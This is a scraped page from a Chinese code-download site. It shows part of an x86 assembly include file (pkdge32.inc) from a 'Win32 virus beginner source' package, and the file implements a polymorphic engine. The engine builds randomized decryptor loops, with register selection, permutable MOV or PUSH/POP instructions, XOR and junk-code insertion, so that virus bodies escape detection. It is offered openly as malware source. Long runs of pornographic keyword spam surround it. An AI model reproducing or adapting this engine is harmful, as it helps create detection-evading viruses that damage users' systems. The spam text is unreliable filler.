亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? pkdge32.inc

?? Win32病毒入門源碼
?? INC
?? 第 1 頁 / 共 3 頁
字號:
                call    __pkdge32_junk

                mov     eax,ebx                 ; inc Rw
                shr     eax,12                  ; ...
                and     eax,7                   ; ...
                or      al,40h
                stosb
                xor     eax,eax
                call    __pkdge32_junk

                mov     eax,ebx                 ; dec Rz
                shr     eax,4                   ; ...
                and     eax,7                   ; ...
                or      al,48h                  ; ...
                stosb                           ; ...

                pop     eax                     ; jnz decrypt_loop
                sub     eax,edi                 ; get delta
                dec     eax                     ; ...
                dec     eax                     ; ...
                push    eax
                mov     al,75h                  ; write opcode
                stosb                           ; ...
                pop     eax
                stosb                           ; write operand
                xor     eax,eax
                call    __pkdge32_junk

                mov     [esp],edi               ; save new EDI
                popad
                ret

pkdg_gen_1:     mov     esi,[esp+20]            ; get offset code2decrypt
                mov     eax,ebx                 ; get Rw
                shr     eax,12                  ; ...
                call    pkdge32_gen12
                mov     [esp+32],eax            ; save offset of code2decrypt
                ret
pkdg_gen_2:     mov     esi,[esp+28]            ; get decrypt_size
                mov     eax,ebx                 ; get Rz
                shr     eax,4                   ; ...
                and     eax,0fh                 ; ...
                call    pkdge32_gen12
                ret

;
; Using this function to generate the first two instructionz of the decryptor,
; which are permutable
;

pkdge32_gen12:  push    ecx
                push    eax                     ; save mask
                mov     ecx,2                   ; determine using MOV REG/IMM
                call    __random_rdtsc          ; or PUSH IMM/POP REG
                or      eax,eax
                pop     eax                     ; restore mask
                pop     ecx
                jz      pkdg_g123_0
                call    __pkdge32_gen_mov_reg_imm
                push    edi
                xor     eax,eax
                mov     esi,[esp+16]
                call    __pkdge32_junk
                pop     eax
                sub     eax,4
                ret
pkdg_g123_0:    call    __pkdge32_gen_pushimm_popreg
                push    eax
                xor     eax,eax
                mov     esi,[esp+16]
                call    __pkdge32_junk
                pop     eax
                sub     eax,4
                ret

;
; This procudure selectz the random register Rw, Rx, Ry, Rz.  The function will
; make EBX to the following structure:
;
;   31                      15                          0
;   +-----+-----+-----+-----+------+------+------+------+
;   |  0  |  0  |  0  |  0  |  Rw  |  Ry  |  Rz  |  Rx  |
;   +-----+-----+-----+-----+------+------+------+------+
;

pkdg_sel_reg:   mov     eax,[esp+8]             ; select random register
                mov     edx,8                   ; ...
                call    __random                ; ...
                or      al,al
                jz      pkdg_sel_reg            ; don't use EAX
                cmp     al,4
                jz      pkdg_sel_reg            ; don't use ESP
                cmp     al,5
                jz      pkdg_sel_reg            ; don't use EBP
                or      al,8                    ; DWORD type

                push    ebx
                and     ebx,0fh
                cmp     bl,al                   ; R == Rx ?
                pop     ebx
                jz      pkdg_sel_reg

                push    ebx
                shr     ebx,4
                and     ebx,0fh
                cmp     bl,al                   ; R == Rz ?
                pop     ebx
                jz      pkdg_sel_reg

                push    ebx
                shr     ebx,8
                cmp     bl,al                   ; R == Ry ?
                pop     ebx
                jz      pkdg_sel_reg

                push    ebx
                shr     ebx,12
                cmp     bl,al                   ; R == Rw ?
                pop     ebx
                jz      pkdg_sel_reg
                ret


;
; __pkdge32_test_regmask procedure
; ================================
;
;
; Description
; -----------
;
; All  the  register  mask  in  the  engine  (PKDGE32) measure up this formula:
; bit  2~0  specifies the register mask,  bit 8 and bit 3 specifies the type of
; the operand
;
; +-------+-------+--------+
; | bit 8 | bit 3 |  type  |
; +-------+-------+--------+
; |   x   |   0   |  byte  |
; +-------+-------+--------+
; |   0   |   1   | dword  |
; +-------+-------+--------+
; |   1   |   1   |  word  |
; +-------+-------+--------+
;
; This function test this mask, if it specified a WORD type, the function STOSB
; an accessorial opcode 66H.  If it specified a BYTE or DWORD type, function do
; nothing but return
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       edi --- pointz to the buffer to save the instructionz
;
; Output:
;       Nothing
;

__pkdge32_test_regmask:
                test    ah,1
                jz      pkdg_trm_ret
                push    eax
                mov     al,66h
                stosb
                pop     eax
pkdg_trm_ret:   ret


;
; __pkdge32_gen_mov_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez MOV REG,IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       edi --- pointz to the buffer to save the instructionz
;       esi --- immediate number (source operand)
;
; Output:
;       Generate a instruction in the buffer EDI pointed, EDI pointz to the new
;       position in the buffer
;

__pkdge32_gen_mov_reg_imm:
                call    __pkdge32_test_regmask
                push    esi
                or      al,0b0h                 ; generate opcode
                stosb                           ; ...
                xchg    eax,esi                 ; EAX get the operand
                shr     esi,4
                jc      pkdg_gmri_dw            ; word/dword ? byte ?
                stosb                           ; byte
                pop     esi
                ret
pkdg_gmri_dw:   shr     esi,5
                pop     esi
                jc      pkdg_gmri_w
                stosd                           ; dword
                ret
pkdg_gmri_w:    stosw                           ; word
                ret


;
; __pkdge32_gen_pushimm_popreg procedure
; ======================================
;
;
; Description
; -----------
;
; This function generatez PUSH IMM/POP REG group instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       edi --- pointz to the buffer to save the instructionz
;       esi --- immediate number (source operand)
;
; Output:
;       Generate a instruction in the buffer EDI pointed, EDI pointz to the new
;       position in the buffer
;

__pkdge32_gen_pushimm_popreg:
                call    __pkdge32_test_regmask
                push    ecx
                mov     ecx,esi                 ; save IMM in ecx
                xchg    esi,eax
                test    esi,8                   ; test BYTE or WORD/DWORD
                jz      pkdg_gpp_b
                mov     al,68h                  ; push WORD/DWORD
                stosb                           ; write opcode
                xchg    eax,ecx                 ; get IMM
                test    esi,100h                ; test WORD or DWORD
                jnz     pkdg_gpp_w
                stosd                           ; write operand
                jmp     pkdg_gpp_pop
pkdg_gpp_w:     stosw
                jmp     pkdg_gpp_pop
pkdg_gpp_b:     mov     al,6ah                  ; push BYTE
                stosb                           ; write opcode
                mov     al,cl                   ; get IMM
                stosb                           ; write operand
pkdg_gpp_pop:   push    edi
                xor     eax,eax
                push    esi
                mov     esi,[esp+28]
                call    __pkdge32_junk
                pop     esi
                call    __pkdge32_test_regmask
                xchg    esi,eax
                or      al,58h                  ; generate POP opcode
                stosb                           ; write pop REG opcode
                pop     eax
                pop     ecx
                ret


;
; __pkdge32_gen_xor_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez XOR [REG],IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       esi --- the immediate number
;       edi --- pointz to the buffer to save the instructionz
;
; Output:
;       Generate a instruction in the buffer EDI pointed, EDI pointz to the new
;       position in the buffer
;

__pkdge32_gen_xor_reg_imm:
                call    __pkdge32_test_regmask
                test    al,1000b
                jnz     pkdg_gxri_dw
                and     eax,7                   ; register mask
                xchg    al,ah
                or      eax,3080h
                stosw
                xchg    eax,esi
                stosb
                ret
pkdg_gxri_dw:   push    eax

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲欧美日韩一区二区 | 91蜜桃传媒精品久久久一区二区| 91精品久久久久久久99蜜桃| 婷婷夜色潮精品综合在线| 欧美区在线观看| 午夜电影网一区| 精品嫩草影院久久| 国产不卡视频一区| 亚洲免费毛片网站| 欧美精品久久一区二区三区| 日韩av网站在线观看| 日韩午夜激情电影| 福利电影一区二区| 尤物在线观看一区| 337p亚洲精品色噜噜噜| 老鸭窝一区二区久久精品| 久久久777精品电影网影网| 成人亚洲一区二区一| 亚洲精品国产精华液| 欧美日韩日日摸| 精品午夜久久福利影院| 国产精品久久久久天堂| 欧美日韩成人在线一区| 国产精品亚洲一区二区三区妖精| 亚洲欧洲性图库| 3atv在线一区二区三区| 成人激情图片网| 婷婷成人激情在线网| 久久久天堂av| 在线免费观看日本一区| 精品一区二区三区影院在线午夜| 亚洲三级免费观看| 国产在线精品一区二区夜色| av网站一区二区三区| 欧美mv日韩mv| 性久久久久久久久久久久| 国产精品一级片| 欧美一级二级三级蜜桃| 国产精品麻豆欧美日韩ww| 亚州成人在线电影| 精品一区二区三区视频 | 99国产精品久久久久| 国产精品久久久久国产精品日日| 欧日韩精品视频| 东方欧美亚洲色图在线| 天堂成人国产精品一区| 亚洲欧美在线高清| 精品电影一区二区| 欧美裸体bbwbbwbbw| 91色porny蝌蚪| 国产精品综合在线视频| 日韩精品一级中文字幕精品视频免费观看| 国产人成亚洲第一网站在线播放| 91精品国产手机| 在线视频综合导航| 99riav一区二区三区| 精品影院一区二区久久久| 天天爽夜夜爽夜夜爽精品视频| 国产精品伦理在线| 国产日韩欧美激情| 欧美精品一区二区三| 91精品国产综合久久婷婷香蕉| 在线这里只有精品| 色综合天天综合给合国产| 国产一区二区三区美女| 免费视频最近日韩| 婷婷综合另类小说色区| 亚洲一区二区欧美| 亚洲精品水蜜桃| 亚洲精品老司机| 亚洲欧洲制服丝袜| 亚洲欧美一区二区在线观看| 中文字幕巨乱亚洲| 国产欧美一区二区三区沐欲| 久久婷婷成人综合色| 精品国产一区a| 精品国产乱码久久久久久1区2区| 91精品国产综合久久精品app| 欧美在线观看视频在线| 欧美系列一区二区| 欧美天堂一区二区三区| 欧美亚洲高清一区二区三区不卡| 91影院在线观看| 色综合欧美在线视频区| 成人精品国产一区二区4080| 成人免费看黄yyy456| 成人手机在线视频| 99r国产精品| 91福利国产精品| 久久99精品久久久久| 激情五月激情综合网| 亚洲永久免费视频| 亚洲女同一区二区| 国产精品视频你懂的| 久久精品亚洲乱码伦伦中文 | 日韩成人精品在线观看| 欧美日本一区二区在线观看| 国产在线国偷精品免费看| 五月激情六月综合| 欧美一级高清大全免费观看| 精品卡一卡二卡三卡四在线| 国产欧美日韩亚州综合| 国产精品理论片在线观看| 一区二区三区在线视频播放| 五月婷婷欧美视频| 国产一区二区三区久久悠悠色av | 久久精品国产免费看久久精品| 久久福利视频一区二区| 东方欧美亚洲色图在线| 欧美视频一区在线| 欧美电影免费观看高清完整版在线 | 欧美性欧美巨大黑白大战| 9191久久久久久久久久久| 久久新电视剧免费观看| 日韩一区欧美小说| 免费人成精品欧美精品| 国产成人av网站| 欧美亚洲日本一区| 久久这里只有精品6| 一区二区三区中文在线观看| 另类小说一区二区三区| 日本精品一级二级| 26uuu精品一区二区| 一区二区不卡在线视频 午夜欧美不卡在 | 久久精品久久久精品美女| 风间由美一区二区av101 | 久久se精品一区精品二区| 不卡区在线中文字幕| 91精品国产欧美一区二区18| 国产精品乱人伦中文| 麻豆精品视频在线观看视频| 99精品国产91久久久久久| 欧美变态tickling挠脚心| 亚洲精品欧美综合四区| 国产精品中文字幕日韩精品 | 久久精品日韩一区二区三区| 亚洲一区二区三区自拍| 国产一区在线看| 欧美肥胖老妇做爰| 亚洲同性gay激情无套| 久久99这里只有精品| 亚洲一区二区成人在线观看| 麻豆精品视频在线观看| 亚洲成人午夜影院| 欧美日韩国产123区| 亚洲色图欧美偷拍| 色综合色狠狠天天综合色| 亚洲六月丁香色婷婷综合久久| 日韩二区三区四区| 欧美日韩成人一区二区| 肉丝袜脚交视频一区二区| 色天使久久综合网天天| 国产精品久久久久久久久免费相片| 国产在线播放一区| 国产成+人+日韩+欧美+亚洲| 91视频在线看| 国产精品伦一区| 福利一区福利二区| 日本一区二区三区在线观看| 激情国产一区二区| 精品嫩草影院久久| 韩国三级电影一区二区| 日韩欧美色电影| 麻豆专区一区二区三区四区五区| 欧美乱熟臀69xxxxxx| 日韩精品91亚洲二区在线观看| 欧美性猛交xxxx黑人交| 亚洲一区二区三区自拍| 91豆麻精品91久久久久久| 一区二区视频在线| 99精品久久99久久久久| 亚洲日穴在线视频| 91污片在线观看| 一区二区三区在线免费播放| 91久久精品一区二区三区| 亚洲精品高清视频在线观看| 日本精品裸体写真集在线观看| **性色生活片久久毛片| 91色乱码一区二区三区| 亚洲高清一区二区三区| 欧美久久久久免费| 久久99精品国产| 中文字幕精品综合| 色综合夜色一区| 亚洲成av人片观看| 欧美精品123区| 蜜桃精品视频在线观看| 久久午夜国产精品| 成人午夜短视频| 亚洲欧美日韩国产一区二区三区| 欧美亚洲禁片免费| 日本不卡高清视频| 亚洲国产成人午夜在线一区| 91小视频免费看| 男人的天堂亚洲一区| 久久久精品影视| 在线免费亚洲电影| 国产一区二区剧情av在线| 亚洲欧洲日韩在线| 欧美猛男男办公室激情|